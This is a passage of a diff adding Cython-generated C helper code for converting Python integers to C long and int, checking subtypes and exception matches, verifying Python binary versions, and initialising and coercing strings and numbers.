((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); 